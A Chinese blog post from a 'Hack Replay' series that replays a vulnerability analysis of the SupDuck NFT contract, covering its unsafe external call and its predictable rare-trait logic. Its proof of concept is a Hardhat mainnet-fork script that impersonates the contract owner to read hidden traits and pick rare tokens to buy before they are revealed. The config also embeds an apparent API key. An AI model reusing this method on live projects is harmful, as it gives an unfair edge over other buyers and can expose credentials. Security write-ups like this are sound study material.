Hack Replay – SupDuck
最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。
# Hack Replay - SupDuck ![image20210902155435080.png](https://img.learnblockchain.cn/attachments/2021/09/KFC0DT2h6130e4b9340ad.png) 最近的NFT异常的火热,[上一篇](https://learnblockchain.cn/article/2885)文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。 ## 漏洞合约 ![image20210902160424010.png](https://img.learnblockchain.cn/attachments/2021/09/npGqeyUI6130e4c658f72.png) 作为一个普通用户,参与NFT的一个途径是通过其官网上`mint`按钮,然后连接钱包,一直下一步即可得到一个NFT。其实质是调用了合约的mint方法,如下: ```js function mintDuck(uint numberOfTokens) public payable { //允许sale require(saleIsActive, "SupDucks/mintDuck sale not open"); //numberOfTokens数量小于10 require(numberOfTokens <= 10, "SupDucks/mintDuck can only 10 duck at a time"); //mint后的总数小于最大值 require(numberOfTokens.add(totalSupply()) <= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks"); //验证总金额正确与否 require(duckPrice.mul(numberOfTokens) <= msg.value, "Ether sent is not correct"); //调用内部函数mintDuck _mintDuck(numberOfTokens, msg.sender); } ``` 如果你读过我的上一篇文章`HashMasks`,可以发现`mintDuck`的逻辑跟`HashMask`中`mintNFT`一模一样。 ```js function _mintDuck(uint numberOfTokens, address sender) internal { //执行for循环,对每一次创建一个种子seed,将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法 for(uint i = 0; i < numberOfTokens; i++) { //get seed uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender))); //get index, 即当前的总数量 uint mintIndex = totalSupply(); //给该index添加特征值 addTraits(seed, mintIndex); //调用openzepplin中的safeMint方法 _safeMint(sender, mintIndex); } } ``` 由于很多的NFT合约都直接继承了`Openzepplin的ERC721Upgradeable.sol`,故,在samczsun的文章中强调的Unsafe External Call基本都存在。 ```js function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual { //调用内部的_mint函数更改状态 _mint(to, tokenId); //[unsafe external call] from,to,tokenId,data require(_checkOnERC721Received(address(0),to,tokenId,data)); } ``` `_mint`方法更改状态: ```js function _mint(address to, uint256 tokenId) internal virtual { //判断to不能是address(0) require(address(0) != to, "SupDucks/_mint to is address(0)"); //tokenId不能已经存在 require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists"); //更新owner状态: 写入owners字典,增加owners余额 _balances[to] = _balances[to].add(1); _owners[tokenId] = to; //发出Transfer事件 emit Transfer(address(0), to, tokenId); } ``` Unsafe External Call - 调用ERC721对应的onERC721Received方法 ```js function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { //如果to地址是EOA,直接返回true //if (msg.sender == tx.origin) // 这里不合适这样判断,因为屏蔽了metaTransaction这种交互方式 //如果to地址是合约,则进行Unsafe External Call调用, 否则直接返回True uint256 extcodesize_; assembly{ extcodesize_ := extcodesize(to) } bytes4 func_signature = bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")) if (extcodesize_ > 0) { uint res; assembly{ //UNSAFE EXTERANL CALL let in_offset := mload(0x40) //abi.encodePacked(func_signature,func_signature) mstore(in_offset, func_signature) mstore(add(in_offset,0x04),func_signature) let free_pointer := mload(0x40) //update free pointer mstore(0x40, add(in_offset,0x24)) let in_size := 0x24 let success := call(gas(),to,0,in_offset,in_size,0,0) switch success case 0 { returndatacopy(free_pointer, returndatasize()) revert(free_pointer, returndatasize()) } case 1 { returndatacopy(free_pointer, returndatasize()) res := shr(224,mload(free_pointer)) } } if (res != uint256(uint32(func_signature))) { return false; } } return true; } ``` ## 漏洞分析_1_ 让我们使用Samczsun提出的4步分析法:明确External Call,External Call可被利用,是否满足三种模式,尝试利用。 在mintDuck方法中,我们可以看到External Call为: ```js address(to).onERC721Received(address,address,uint256,bytes) ``` 该Call也是可以被利用的,因为地址to是我们自己给定的。 是否存在三种模式, 可以看到这里存在这第一种模式:在External Call之前更新数据 ```js uint mintIndex = totalSupply(); function totalSupply() public returns (uint256) { return _allTokens.length; } ``` 在External Call之前,存在着数据更新,即totalSupply的值在更新。那么作为一个Unsafe External Call应该如何去影响totalSupply的值呢?最直接的思路是再去mint一些Duck增加totalSupply. 如上篇文章中所分析的一样,这样写事实上遵循了`checks-effects-interacts`这一模式,并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过`numberOfTokens <= 10`这一检查外。 ## 漏洞分析2 如果这道题目的漏洞分析仅停留在分析1的层次,则与我之前写的文章Hashmasks水平保持一致。但实际上NFT的含义绝不仅限于EIP721. 要理解漏洞分析2,我们就需要对NFT的整个玩法有一定的了解。 从漏洞合约的分析中可以看到,一个NFT再Mint出来之后,通常会挂到opensea等NFT交易所上去售卖,如下图所示: ![image20210902212307764.png](https://img.learnblockchain.cn/attachments/2021/09/DzZdfQIe6130e4da1d338.png) 由于NFT的特殊性,即每一个NFT都是独一无二的。区别每一个NFT都在于其基因,即DNA。再supduck中,基因体现在properties的稀有性,如果一个supduck的基因越稀有,则该NFT就有可能更加有价值。 ![image20210902212525378.png](https://img.learnblockchain.cn/attachments/2021/09/W6L6o9au6130e4e61c359.png) 而如果一个NFT已经上架了opensea,我们就可以直接通过Opensea找到对应的合约地址: ![image20210902213219586.png](https://img.learnblockchain.cn/attachments/2021/09/t3C7q5pD6130e4f0eb827.png) 从Supduck的合约中看,并不是每一个的duck都是平等的,其存在着superDuck ```js function addTraits(uint seed, uint tokenId) internal { //根据seed对该tokenId的DNA进行赋值,seed是一个随机数 for (uint8 i=0; i < NUM_TRAITS; i++) { nonce++; duckTraits[tokenId][i] = determineTrait(i, seed); } //检查是否满足superduck的条件 checkForSuper(tokenId, seed); } ``` ```js function checkForSuper(uint tokenId, uint seed) internal { uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply())); for (uint8 i = 0; i < NUM_SUPERS + 1; i++) { if (roll < superStock[i]) { superStock[i]--; if (i > 0) { createSuper(tokenId, i); } return; } roll -= superStock[i]; } revert("duck pit"); } ``` ```js function createSuper(uint tokenId, uint superId) internal { for (uint8 i=0; i < NUM_TRAITS; i++) { duckTraits[tokenId][i] = uint8(99+superId); } } ``` 从合约分析中可以看到,superDuck的特点是其每一个duckTraits都是相同的数值,均为99+superId。 ## 漏洞利用 从漏洞分析2中,我们已经知道存在着superDucks,但是要怎么才能知道哪一个才是superDucks呢?我们可以通过合约中的getTraits方法 ```js function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) { //要求该tokenId已经存在 require(_exists(tokenId)); //要求调用者为管理员,IPFS字段长度大于0说明已经公开 require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner()); return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]); } ``` 我们想要知道的是哪一个TokenId对应的duck是superDuck,最简单的办法是将每一个已经mint出来的tokenId对应的duck的duckTraits的值全部拿到。这里可以有两个思路: 思路1: 虽然duckTraits是一个内部的属性,但是再以太坊中并不存在真正的不能被外部访问的私有属性的值,可以通过web3直接访问插槽的方式访问 思路2:通过调用getTraits函数。虽然getTraits函数中有要求必须是msg.sender==owner才能访问,但是我可以在自己的本地环境中,利用hardhat的impersonateAccount方式来假装自己是owner实现访问。 ### 确定区块高度 ![image20210902215602882.png](https://img.learnblockchain.cn/attachments/2021/09/NtkZsbkO6130e500cc50d.png) 根据已知信息,确认区块高度为12847922 ```js require("@nomiclabs/hardhat-waffle"); task("accounts", "Prints the list of accounts", async (taskArgs, hre) => { const accounts = await hre.ethers.getSigners(); for (const account of accounts) { console.log(account.address); } }); module.exports = { solidity: "0.7.0", defaultNetwork: 'hardhat', networks: { hardhat: { forking:{ url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA", blockNumber:12847922, }, throwOnTransactionFailures: true, throwOnCallFailures: true, allowUnlimitedContractSize: true, gas: 12000000, blockGasLimit: 0x1fffffffffffff, allowUnlimitedContractSize: true, timeout: 1800000 } } }; ``` ### 得到合约ABI 从Opensea中可以得到合约地址为:https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约,但是数据都在这个合约地址上。 其对应的实现合约的地址为:https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code ### 思路2对应的分析 首先我们采取思路2的方式,来获取所有的tokenId的Traits。 ```js const hre = require("hardhat"); const ethers = hre.ethers async function main() { const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5"; await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"]) const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871") console.log(owner.address) //get Contract const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5") console.log(await ISupDucks.owner()) //从0到10000逐个loop tokenId得到对应的traits for (var i = 0; i < 10000; i++) { console.log("the tokenId is %s", i) console.log(await ISupDucks.connect(owner).getTraits(i)) } } main() .then(() => process.exit(0)) .catch((error) => { console.error(error); process.exit(1); }); ``` ![image20210902224334657.png](https://img.learnblockchain.cn/attachments/2021/09/JOTSsDzb6130e510c8d00.png) 通过上述的For循环,我们可以找到如下对应的superDucks: ```js > await ISupDucks.connect(signer).getTraits(8294) [ BigNumber { _hex: '0x6b', _isBigNumber: true }, BigNumber { _hex: '0x6b', _isBigNumber: true }, BigNumber { _hex: '0x6b', _isBigNumber: true }, BigNumber { _hex: '0x6b', _isBigNumber: true }, BigNumber { _hex: '0x6b', _isBigNumber: true }, BigNumber { _hex: '0x6b', _isBigNumber: true } ] > await ISupDucks.connect(signer).getTraits(8439) [ BigNumber { _hex: '0x69', _isBigNumber: true }, BigNumber { _hex: '0x69', _isBigNumber: true }, BigNumber { _hex: '0x69', _isBigNumber: true }, BigNumber { _hex: '0x69', _isBigNumber: true }, BigNumber { _hex: '0x69', _isBigNumber: true }, BigNumber { _hex: '0x69', _isBigNumber: true } ] > ``` 故,我们的策略如下: 找到编号为8294的supduck,然后买下它,再等待它揭露IPFS地址后,将其卖掉。 ![pp.png](https://img.learnblockchain.cn/attachments/2021/09/Ywrgm3uU6130e52159ebe.png)
Hack Replay - SupDuck
最近的NFT异常的火热,上一篇文章中分析了Samczsun提出的HashMasks这一NFT,对EIP721进行了简单的了解。但是在后续的沟通中,发现对于NFT,其意义远远超过了冰冷的EIP721. 同时也发现,自己对于NFT的理解是非常浅薄的。故借此文章将NFT的一些简单的玩法梳理一下。但仍遵循我们的Hack Replay的传统,找到合约漏洞,给出可执行的POC。
漏洞合约
作为一个普通用户,参与NFT的一个途径是通过其官网上mint
按钮,然后连接钱包,一直下一步即可得到一个NFT。其实质是调用了合约的mint方法,如下:
function mintDuck(uint numberOfTokens) public payable {
//允许sale
require(saleIsActive, "SupDucks/mintDuck sale not open");
//numberOfTokens数量小于10
require(numberOfTokens <= 10, "SupDucks/mintDuck can only 10 duck at a time");
//mint后的总数小于最大值
require(numberOfTokens.add(totalSupply()) <= MAX_DUCKS, "SupDucks/mintDuck exceed max supply of ducks");
//验证总金额正确与否
require(duckPrice.mul(numberOfTokens) <= msg.value, "Ether sent is not correct");
//调用内部函数mintDuck
_mintDuck(numberOfTokens, msg.sender);
}
如果你读过我的上一篇文章HashMasks
,可以发现mintDuck
的逻辑跟HashMask
中mintNFT
一模一样。
function _mintDuck(uint numberOfTokens, address sender) internal {
//执行for循环,对每一次创建一个种子seed,将seed作为随机量添加入duck的特征值中。然后调用Openzepplin/ERC721中的safeMint方法
for(uint i = 0; i < numberOfTokens; i++) {
//get seed
uint256 seed = uint(keccak256(abi.encodePacked(nonce, block.difficulty, block.timestamp, sender)));
//get index, 即当前的总数量
uint mintIndex = totalSupply();
//给该index添加特征值
addTraits(seed, mintIndex);
//调用openzepplin中的safeMint方法
_safeMint(sender, mintIndex);
}
}
由于很多的NFT合约都直接继承了Openzepplin的ERC721Upgradeable.sol
,故,在samczsun的文章中强调的Unsafe External Call基本都存在。
function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
//调用内部的_mint函数更改状态
_mint(to, tokenId);
//[unsafe external call] from,to,tokenId,data
require(_checkOnERC721Received(address(0),to,tokenId,data));
}
_mint
方法更改状态:
function _mint(address to, uint256 tokenId) internal virtual {
//判断to不能是address(0)
require(address(0) != to, "SupDucks/_mint to is address(0)");
//tokenId不能已经存在
require(!_exsits(tokenId), "SupDucks/_mint tokenId already exists");
//更新owner状态: 写入owners字典,增加owners余额
_balances[to] = _balances[to].add(1);
_owners[tokenId] = to;
//发出Transfer事件
emit Transfer(address(0), to, tokenId);
}
Unsafe External Call - 调用ERC721对应的onERC721Received方法
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) {
//如果to地址是EOA,直接返回true
//if (msg.sender == tx.origin) // 这里不合适这样判断,因为屏蔽了metaTransaction这种交互方式
//如果to地址是合约,则进行Unsafe External Call调用, 否则直接返回True
uint256 extcodesize_;
assembly{
extcodesize_ := extcodesize(to)
}
bytes4 func_signature =
bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))
if (extcodesize_ > 0) {
uint res;
assembly{
//UNSAFE EXTERANL CALL
let in_offset := mload(0x40)
//abi.encodePacked(func_signature,func_signature)
mstore(in_offset, func_signature)
mstore(add(in_offset,0x04),func_signature)
let free_pointer := mload(0x40)
//update free pointer
mstore(0x40, add(in_offset,0x24))
let in_size := 0x24
let success := call(gas(),to,0,in_offset,in_size,0,0)
switch success
case 0 {
returndatacopy(free_pointer, returndatasize())
revert(free_pointer, returndatasize())
}
case 1 {
returndatacopy(free_pointer, returndatasize())
res := shr(224,mload(free_pointer))
}
}
if (res != uint256(uint32(func_signature))) {
return false;
}
}
return true;
}
漏洞分析1
让我们使用Samczsun提出的4步分析法:明确External Call,External Call可被利用,是否满足三种模式,尝试利用。
在mintDuck方法中,我们可以看到External Call为:
address(to).onERC721Received(address,address,uint256,bytes)
该Call也是可以被利用的,因为地址to是我们自己给定的。
是否存在三种模式, 可以看到这里存在这第一种模式:在External Call之前更新数据
uint mintIndex = totalSupply();
function totalSupply() public returns (uint256) {
return _allTokens.length;
}
在External Call之前,存在着数据更新,即totalSupply的值在更新。那么作为一个Unsafe External Call应该如何去影响totalSupply的值呢?最直接的思路是再去mint一些Duck增加totalSupply.
如上篇文章中所分析的一样,这样写事实上遵循了checks-effects-interacts
这一模式,并不能通过重进入mintDucks方法来占的特别大的便宜。除了可以绕过numberOfTokens <= 10
这一检查外。
漏洞分析2
如果这道题目的漏洞分析仅停留在分析1的层次,则与我之前写的文章Hashmasks水平保持一致。但实际上NFT的含义绝不仅限于EIP721. 要理解漏洞分析2,我们就需要对NFT的整个玩法有一定的了解。
从漏洞合约的分析中可以看到,一个NFT再Mint出来之后,通常会挂到opensea等NFT交易所上去售卖,如下图所示:
由于NFT的特殊性,即每一个NFT都是独一无二的。区别每一个NFT都在于其基因,即DNA。再supduck中,基因体现在properties的稀有性,如果一个supduck的基因越稀有,则该NFT就有可能更加有价值。
而如果一个NFT已经上架了opensea,我们就可以直接通过Opensea找到对应的合约地址:
从Supduck的合约中看,并不是每一个的duck都是平等的,其存在着superDuck
function addTraits(uint seed, uint tokenId) internal {
//根据seed对该tokenId的DNA进行赋值,seed是一个随机数
for (uint8 i=0; i < NUM_TRAITS; i++) {
nonce++;
duckTraits[tokenId][i] = determineTrait(i, seed);
}
//检查是否满足superduck的条件
checkForSuper(tokenId, seed);
}
function checkForSuper(uint tokenId, uint seed) internal {
uint16 roll = uint16(seed % (MAX_DUCKS - totalSupply()));
for (uint8 i = 0; i < NUM_SUPERS + 1; i++) {
if (roll < superStock[i]) {
superStock[i]--;
if (i > 0) {
createSuper(tokenId, i);
}
return;
}
roll -= superStock[i];
}
revert("duck pit");
}
function createSuper(uint tokenId, uint superId) internal {
for (uint8 i=0; i < NUM_TRAITS; i++) {
duckTraits[tokenId][i] = uint8(99+superId);
}
}
从合约分析中可以看到,superDuck的特点是其每一个duckTraits都是相同的数值,均为99+superId。
漏洞利用
从漏洞分析2中,我们已经知道存在着superDucks,但是要怎么才能知道哪一个才是superDucks呢?我们可以通过合约中的getTraits方法
function getTraits(uint tokenId) public view returns(uint,uint,uint,uint,uint,uint) {
//要求该tokenId已经存在
require(_exists(tokenId));
//要求调用者为管理员,IPFS字段长度大于0说明已经公开
require(bytes(IPFS_CIDs[tokenId]).length > 0 || _msgSender() == owner());
return (duckTraits[tokenId][0],duckTraits[tokenId][1],duckTraits[tokenId][2],duckTraits[tokenId][3],duckTraits[tokenId][4],duckTraits[tokenId][5],duckTraits[tokenId][6]);
}
我们想要知道的是哪一个TokenId对应的duck是superDuck,最简单的办法是将每一个已经mint出来的tokenId对应的duck的duckTraits的值全部拿到。这里可以有两个思路:
思路1: 虽然duckTraits是一个内部的属性,但是再以太坊中并不存在真正的不能被外部访问的私有属性的值,可以通过web3直接访问插槽的方式访问
思路2:通过调用getTraits函数。虽然getTraits函数中有要求必须是msg.sender==owner才能访问,但是我可以在自己的本地环境中,利用hardhat的impersonateAccount方式来假装自己是owner实现访问。
确定区块高度
根据已知信息,确认区块高度为12847922
require("@nomiclabs/hardhat-waffle");
task("accounts", "Prints the list of accounts", async (taskArgs, hre) => {
const accounts = await hre.ethers.getSigners();
for (const account of accounts) {
console.log(account.address);
}
});
module.exports = {
solidity: "0.7.0",
defaultNetwork: 'hardhat',
networks: {
hardhat: {
forking:{
url: "https://eth-mainnet.alchemyapi.io/v2/7Brn0mxZnlMWbHf0yqAEicmsgKdLJGmA",
blockNumber:12847922,
},
throwOnTransactionFailures: true,
throwOnCallFailures: true,
allowUnlimitedContractSize: true,
gas: 12000000,
blockGasLimit: 0x1fffffffffffff,
allowUnlimitedContractSize: true,
timeout: 1800000
}
}
};
得到合约ABI
从Opensea中可以得到合约地址为:https://etherscan.io/address/0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5 这是一个代理合约,但是数据都在这个合约地址上。
其对应的实现合约的地址为:https://etherscan.io/address/0x91879d131091165bb92ba70296fd0f81ff59a3bc#code
思路2对应的分析
首先我们采取思路2的方式,来获取所有的tokenId的Traits。
const hre = require("hardhat");
const ethers = hre.ethers
async function main() {
const supduck_addr = "0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5";
await hre.network.provider.send("hardhat_impersonateAccount",["0xafd618064739a2820f5f80c2585563a8af0e6871"])
const owner = await ethers.getSigner("0xafd618064739a2820f5f80c2585563a8af0e6871")
console.log(owner.address)
//get Contract
const ISupDucks = await ethers.getContractAt("ISupDucks","0x3fe1a4c1481c8351e91b64d5c398b159de07cbc5")
console.log(await ISupDucks.owner())
//从0到10000逐个loop tokenId得到对应的traits
for (var i = 0; i < 10000; i++) {
console.log("the tokenId is %s", i)
console.log(await ISupDucks.connect(owner).getTraits(i))
}
}
main()
.then(() => process.exit(0))
.catch((error) => {
console.error(error);
process.exit(1);
});
通过上述的For循环,我们可以找到如下对应的superDucks:
> await ISupDucks.connect(signer).getTraits(8294)
[
BigNumber { _hex: '0x6b', _isBigNumber: true },
BigNumber { _hex: '0x6b', _isBigNumber: true },
BigNumber { _hex: '0x6b', _isBigNumber: true },
BigNumber { _hex: '0x6b', _isBigNumber: true },
BigNumber { _hex: '0x6b', _isBigNumber: true },
BigNumber { _hex: '0x6b', _isBigNumber: true }
]
> await ISupDucks.connect(signer).getTraits(8439)
[
BigNumber { _hex: '0x69', _isBigNumber: true },
BigNumber { _hex: '0x69', _isBigNumber: true },
BigNumber { _hex: '0x69', _isBigNumber: true },
BigNumber { _hex: '0x69', _isBigNumber: true },
BigNumber { _hex: '0x69', _isBigNumber: true },
BigNumber { _hex: '0x69', _isBigNumber: true }
]
>
故,我们的策略如下:
找到编号为8294的supduck,然后买下它,再等待它揭露IPFS地址后,将其卖掉。
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。
- 发表于 2021-09-02 22:53
- 阅读 ( 747 )
- 学分 ( 28 )
- 分类:智能合约
评论